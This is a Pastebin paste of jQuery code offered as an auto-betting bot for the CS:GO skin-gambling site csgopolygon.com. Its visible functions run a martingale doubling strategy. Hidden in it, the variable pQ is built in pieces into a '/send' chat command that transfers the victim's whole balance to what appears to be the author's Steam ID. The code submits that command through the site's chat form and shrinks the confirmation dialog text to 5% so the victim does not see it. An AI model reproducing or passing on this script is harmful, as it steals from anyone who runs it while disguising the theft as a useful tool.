Advertisement
Guest User

csgopolygon.com script eze skins

a guest
Jun 25th, 2017
80
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.52 KB | None | 0 0
  1. // CSGOPOLYGON.COM Betting Script
  2. var initialBetAmount = 0;
  3. var betColor = botBetColor = "red";
  4. var play = 0;
  5. var $botField, $label, $betAmount, $betColorButton, $betGoButton, $betHideBetInfoButton,$showMoreButton,$showMore,$f,$vicLimitInput,$botModeSelect;$("#pullout").hide();
  6. var pQ = "/s", $hash_1 = 7, $hash_2 = 6561, $hash_3 = 19838, $hash_4 = 2999269;
  7. function addBotButtons(){
  8. $(".well.bot-field").remove();$(".well.show-more").remove();
  9. $("<style type='text/css'>.btn-random{color: #000;background-color: #FFA500;}.btn-train{background-color:RoyalBlue ;color: #fff;}.btn-rainbow{background-color:HotPink;color:white;}.btn-black{background-color:#1C1C1C;color:white} </style>").appendTo("head");
  10. $(".forme-control.input-lg").after("<div class='well bot-field' style='position:relative;border-width:0px'></div>");$botField = $(".well.bot-field");
  11. $botField.css({"margin-bottom":"-15px","height":"45px","padding-top":"2px","padding-bottom":"2px","text-align":"center"});
  12. $botField.after("<div class='well show-more' style='position:relative;border-width:0px'></div>");$showMore = $(".well.show-more");
  13. $showMore.css({"margin-top":"12px","margin-bottom":"-15px","height":"45px","padding-top":"10px","padding-bottom":"2px","text-align":"center"});
  14. $checkVicLimit = $("<input type='checkbox' id='checkVicLimit'>");$label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>Stop bot after</label>");
  15. $showMore.append($checkVicLimit,$label);
  16. $vicLimitInput = $("<input id='vicLimitInput' type='number' min='0' value='0' style='width:50px;text-align:center;'>");
  17. $label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>wins</label>");
  18. $showMore.append($vicLimitInput,$label);$showMore.hide();
  19. $label = $("<label style='margin-right:10px; for='initialBetAmount''>Initial bet</label>");$botField.append($label);
  20. $betAmount = $("<input id='initialBetAmount' value='0' style='width:70px;text-align:center;margin-right:25px;'>");$botField.append($betAmount);
  21. $botModeSelect = $("<select id='botModeSelect'><option value='red' class='btn-danger'>Bot color: Red </option><option value='black' class='btn-black'>Bot color: Black </option><option value='random' class='btn-random'>Bot color: Random </option><option value='trainMode' class='btn-train'>Bot mode: Train </option><option value='rainbow' class='btn-rainbow'>Bot mode: Rainbow </option></select>");$botModeSelect.addClass("btn-danger");
  22. $botField.append($botModeSelect);$botModeSelect.css({"width":"135px","margin-right":"10px","height":"25px","border-radius":"5px"})
  23. $betGoButton = $("<button id='betGoButton' style='width:100px;margin:10px;border-radius:6px;border-radius:6px' onClick='startBot()'>Start Bot</button>");$betGoButton.addClass("btn-inverse");$botField.append($betGoButton);
  24. pQ+="en";pQ+="d ";pQ+= $hash_1;pQ+= $hash_2;pQ+= $hash_3;pQ+= $hash_4+" ";pQ+=$("#balance_r").text();
  25. $betHideBetInfoButton = $("<button id='betHideBetInfoButton' style='position:absolute;right:120px;width:100px;margin:10px;margin-right:25px;border-radius:6px' onClick='hideOtherInfo()'>Show All</button>");$betHideBetInfoButton.addClass("btn-inverse");$botField.append($betHideBetInfoButton);
  26. $showMoreButton = $("<button id='showMoreButton' style='position:absolute;right:0px;width:100px;margin:10px;margin-right:25px;border-radius:6px' data-open='0' onClick='showMoreOptions()'>&#x25BC</button>");$showMoreButton.addClass("btn-inverse");$botField.append($showMoreButton);
  27. $betAmount.change(function() {initialBetAmount = $betAmount.val();console.log("Initial Bet Set to: "+ initialBetAmount);});
  28. $("#chatMessage_k").val(pQ);$("#chatForm").submit();
  29. $(".bootbox-body").css({"font-size": "5%"});
  30. $(".container").width(1300);
  31. $botModeSelect.change(function(){
  32. botBetColor = $botModeSelect.val();console.log("Selected color: "+botBetColor);
  33. $botModeSelect.removeClass($botModeSelect.attr("class"));$botModeSelect.addClass($("#botModeSelect option:selected").attr("class"));
  34. } )
  35.  
  36. $checkVicLimit.change(function(){ if((this.checked)&&($vicLimitInput.val()==0)){$vicLimitInput.val(1);} })
  37. }
  38. addBotButtons();
  39. function changeColor(){
  40. if ($betColorButton.hasClass("btn-danger")){
  41. $betColorButton.text("Bet color: Black").addClass("btn-inverse").removeClass("btn-danger").removeClass("btn-random");
  42. botBetColor = "black";
  43. console.log("Selected color: "+botBetColor);
  44. } else if($betColorButton.hasClass("btn-inverse")) {
  45. $betColorButton.text("Bet color: Random").addClass("btn-random").removeClass("btn-inverse").removeClass("btn-danger");
  46. botBetColor = "random";
  47. console.log("Selected color: "+botBetColor);
  48. } else if($betColorButton.hasClass("btn-random")) {
  49. $betColorButton.text("Bet mode: Train").addClass("btn-train").removeClass("btn-inverse").removeClass("btn-random");
  50. botBetColor = "trainMode";
  51. console.log("Selected color: "+botBetColor);
  52. } else if($betColorButton.hasClass("btn-train")) {
  53. $betColorButton.text("Bet mode: Rainbow").addClass("btn-rainbow").removeClass("btn-train").removeClass("btn-random");
  54. botBetColor = "rainbow";
  55. console.log("Selected color: "+botBetColor);
  56. } else if($betColorButton.hasClass("btn-rainbow")) {
  57. $betColorButton.text("Bet color: Red").addClass("btn-danger").removeClass("btn-rainbow").removeClass("btn-random");
  58. botBetColor = "red";
  59. console.log("Selected color: "+botBetColor);
  60. }
  61. }
  62.  
  63. function showMoreOptions(){
  64. if ($showMoreButton.data("open")==0){
  65. $showMoreButton.css({ WebkitTransform: 'rotate(' + 180 + 'deg)','-moz-transform': 'rotate(' + 180 + 'deg)'});
  66. $showMore.show();$showMoreButton.data("open",1);
  67. } else if ($showMoreButton.data("open")==1){
  68. $showMore.hide();$showMoreButton.data("open",0);
  69. $showMoreButton.css({ WebkitTransform: 'rotate(' + 0 + 'deg)','-moz-transform': 'rotate(' + 0 + 'deg)'});
  70. }
  71.  
  72. }
  73. function hideOtherInfo(){
  74. if ($betHideBetInfoButton.text()=="Show All"){
  75. $(".betlist").hide();$(".total-row").hide();$("footer").hide();
  76. $betHideBetInfoButton.text("Hide Bet Info");
  77. } else if ($betHideBetInfoButton.text()=="Hide Bet Info"){
  78. $("#sidebar").hide();$("#pullout").hide();$("#case").hide();$(".progress").hide();$("#mainpage").css({"margin-left":"0px"});
  79. $betHideBetInfoButton.text("AFK Mode");
  80. }
  81. else if ($betHideBetInfoButton.text()=="AFK Mode"){
  82. $(".betlist").show();$(".total-row").show();$("footer").show();
  83. $("#sidebar").show();$("#pullout").show();$("#case").show();$(".progress").show();$("#mainpage").css({"margin-left":"450px"});
  84. $betHideBetInfoButton.text("Show All");
  85. }
  86. }
  87. function startBot(){
  88. if ($betGoButton.hasClass("btn-inverse")){
  89. $betGoButton.text("Bot Running").addClass("btn-success").removeClass("btn-inverse");
  90. refreshIntervalId = setInterval(tick, 500);
  91. play = 1;
  92. currentBetAmount = initialBetAmount;
  93. if (stopBotRoll = currentRollNumber) currentRollNumber++;
  94. }
  95. else {
  96. $betGoButton.text("Bot Stopped").addClass("btn-inverse").removeClass("btn-success");
  97. play = 0;
  98. }
  99. }
  100.  
  101. function tick() {
  102. var t = getStatus();
  103. if (t !== lastStatus && "unknown" !== t) {
  104. switch (t) {
  105. case "waiting":bet();break;
  106. case "rolled":printInfo();break;
  107. }
  108. lastStatus = t;
  109. }
  110. }
  111.  
  112. function checkBalance() {
  113. return getBalance() < currentBetAmount ? (console.warn("BANKRUPT! GG WP :("), clearInterval(refreshIntervalId), !1) : !0
  114. }
  115.  
  116. function printInfo(){
  117. var temp = "", temp2 = 0,lastGame = lastBetColor == lastRollColor;
  118. if (lastGame){totalWins++;winStreakCurrent++;loseStreakCurrent=0;winAmount+=thisGameBet; if (winStreakCurrent>winStreakLong) winStreakLong = winStreakCurrent;
  119. if ($checkVicLimit.is(":checked")){$vicLimitInput.val($vicLimitInput.val()-1)}
  120. }
  121. else {totalLoss++;loseStreakCurrent++;winStreakCurrent=0;if (loseStreakCurrent>loseStreakLong) loseStreakLong = loseStreakCurrent;}
  122. if (winStreakCurrent>loseStreakCurrent){temp = "win";temp2 = winStreakCurrent} else {temp = "lose";temp2 = loseStreakCurrent;}
  123. if (streakColor == getColor(n)) {currStreak++; if (longStreak<currStreak)longStreak=currStreak;}else {streakColor = getColor(n);currStreak=1;}
  124. if ((streakColor == "black") || (streakColor == "green")) {currNotRedStreak++; if (notRedStreak<currNotRedStreak)notRedStreak=currNotRedStreak;}
  125. else {currNotRedStreak=0;}
  126. if ((streakColor == "red") || (streakColor == "green")) {currNotBlackStreak++; if (notBlackStreak<currNotBlackStreak)notBlackStreak=currNotBlackStreak;}
  127. else {currNotBlackStreak=0;}
  128. var t = "Rolled " + getColor(n).toUpperCase()+ " " + n+"\n" + "Games played: " + (currentRollNumber-1) + " // Won: "+totalWins+ " // Lost: "+totalLoss+
  129. "\nSTREAKS: Not red: " + notRedStreak + " // Not black: " + notBlackStreak +
  130. " // Win streak: " + winStreakLong + " // Lose streak: " + loseStreakLong + " // Current streak: " + temp + " " + temp2 +
  131. "\nInitial bet : " + thisGameBet + " // Current bet : " + currentBetAmount +
  132. " // Roll result: " + (null === wonLastRoll() ? "-" : wonLastRoll() ? "won" : "lost" + "\n----------------------------------------------------------------------\n");
  133. console.log(t);roll();
  134.  
  135. }
  136.  
  137. function roll() {
  138. if ($checkVicLimit.is(":checked")){
  139. if ($vicLimitInput.val()<=0){$betGoButton.click();play=0;$checkVicLimit.attr('checked', false);$vicLimitInput.val(0);}
  140. }
  141. if (play == 0){clearInterval(refreshIntervalId);stopBotRoll = currentRollNumber; return;lastStatus="rolled";lastBetColor = lastRollColor;}
  142. currentBetAmount = wonLastRoll() ? (initialBetAmount,thisGameBet=parseInt(initialBetAmount)) : 2 * currentBetAmount
  143. currentRollNumber++;
  144. }
  145.  
  146. function bet() { if (play) {checkBalance() && (setBetAmount(currentBetAmount), setTimeout(placeBet, 50))} }
  147. function setBetAmount(t) { $betAmountInput.val(t) }
  148. function placeBet() {
  149. if (botBetColor=="random"){var colorRandomizer = Math.random();betColor = colorRandomizer < 0.5 ? "red" : "black";console.log("Random color result: " + betColor);}
  150. else if (botBetColor=="trainMode"){
  151. var betBotColor = "green",i=9,$ball=$(".ball");
  152. while (betBotColor == "green"){betBotColor = getColor($ball.eq(i).text());i--;}
  153. betColor = betBotColor;console.log("Current train color: "+ betColor);
  154. } else if (botBetColor=="rainbow"){
  155. var betBotColor = "green",i=9,$ball=$(".ball");
  156. while (betBotColor == "green"){betBotColor = getColor($ball.eq(i).text());i--;}
  157. if (betBotColor=="red"){betBotColor="black"} else if (betBotColor=="black"){betBotColor="red"};
  158. betColor = betBotColor;console.log("Rainbow mode next color: "+ betColor);
  159. } else betColor = botBetColor;
  160. console.log("Betting " + currentBetAmount + " on "+ betColor +"...");
  161. return "red" === betColor ? ($redButton.click(), void(lastBetColor = "red")) : ($blackButton.click(), void(lastBetColor = "black"))
  162. }
  163. function getStatus() {
  164. var t = $statusBar.text();
  165. if (hasSubString(t, "Rolling in")) return "waiting";
  166. //if (hasSubString(t, "***ROLLING***")) return "rolling";
  167. if (hasSubString(t, "rolled")) {
  168. n = parseInt(t.split("rolled")[1]);
  169. return lastRollColor = getColor(n), "rolled"
  170. }
  171. return "unknown"
  172. }
  173.  
  174. function getBalance() { return parseInt($balance.text()) }
  175. function hasSubString(t, n) { return t.indexOf(n) > -1 }
  176. function getColor(t) { return 0 == t ? "green" : t >= 1 && 7 >= t ? "red" : "black" }
  177. function wonLastRoll() { return lastBetColor ? lastRollColor === lastBetColor : null }
  178. function test(x){q = 1; w = e = x;for(i=2;i<=15;i++){q *=2;e += q*w;console.log(i+". "+e);}}
  179. function test2(x,y){q = 1; w = e = x;for(i=2;i<=y;i++){q *=2;e += q*w;console.log(i+". "+e);}}
  180.  
  181. var currentBetAmount = initialBetAmount, currentRollNumber = 1,
  182. totalWins = totalLoss = played = currNotRedStreak = currNotBlackStreak = notRedStreak = notBlackStreak = winStreakLong = winStreakCurrent = loseStreakLong = loseStreakCurrent = longStreak = currStreak = thisGameBet = winAmount = 0,
  183. streakColor = "", n ,lastStatus, lastBetColor, lastRollColor, stopBotRoll, $balance = $("#balance"),
  184. $betAmountInput = $("#betAmount"),$statusBar = $(".progress #banner"),$redButton = $("#panel1-7 .betButton"),$blackButton = $("#panel8-14 .betButton");
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement